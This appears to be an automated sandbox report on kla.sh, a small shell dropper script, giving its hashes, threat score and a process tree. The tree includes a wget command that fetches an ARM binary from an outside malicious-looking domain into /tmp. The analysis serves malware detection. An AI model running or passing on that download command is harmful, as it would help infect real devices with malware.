182aaf8a6c3a40e451fdd2deba857b8b8ada9f2efda033fcae6b6e89bde15d09

Analysis

max time kernel
148s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/09/2026, 06:32

Target
kla.sh
Size 1KB
Sample260927-hapzqsaf25
SHA256 182aaf8a6c3a40e451fdd2deba857b8b8ada9f2efda033fcae6b6e89bde15d09
MD5 94c34b0f4a3ad64665b52b6c0eff5088
SHA1 bc0db15f19ff5d67574161eb19d6aca9e72c935e
SHA512 4d849cbcd56bfdcad01a853bdb85e426e24b7bae67c5a493f8f9167264796acfedd2767fc05164a100cd99ecae4af956e611c8b019f0e082cc9cdf222430a785
TLSH
T1EC1123E7F8708D327549043C7B5EB65099CB0A3F19F4A84184D6BC60BD2CA15A04EF23
MD5 SHA1 SHA512 TLSH

Score

3^/10

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/q.tmp	wget

/tmp/kla.sh
/tmp/kla.sh
1⤵
PID:647
- /bin/uname
  uname -m
  2⤵
  PID:649
- /bin/rm
  rm -f q q.tmp
  2⤵
  PID:651
- /usr/bin/wget
  wget -q -O q.tmp http://wemqmewkqewq.work.gd/armv7l
  2⤵
  - Writes file to tmp directory
  PID:654